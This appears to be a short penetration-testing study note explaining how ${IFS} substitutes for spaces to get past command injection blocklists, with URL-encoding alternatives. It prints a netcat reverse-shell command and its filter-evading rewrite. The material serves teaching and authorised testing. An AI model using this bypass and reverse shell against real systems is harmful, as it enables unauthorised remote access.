To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.
Command Injection:
Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.
Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters like spaces.
Bypassing Filters:
${IFS}: Using ${IFS} instead of a space can bypass filters that block spaces. ${IFS} expands to a space character in shell commands.
Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc${IFS}-e${IFS}/bin/sh${IFS}10.10.10.16${IFS}4444.
Alternative Encodings:
%0a: Represents a newline character in URL encoding.
+: Sometimes used in place of space in URLs.
%20: URL encoding for space.
However, ${IFS} is most appropriate for shell command contexts.
Pentest References:
Command Injection: Understanding how command injection works and common techniques to exploit it.
Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.
Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.
By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability's exploitability.
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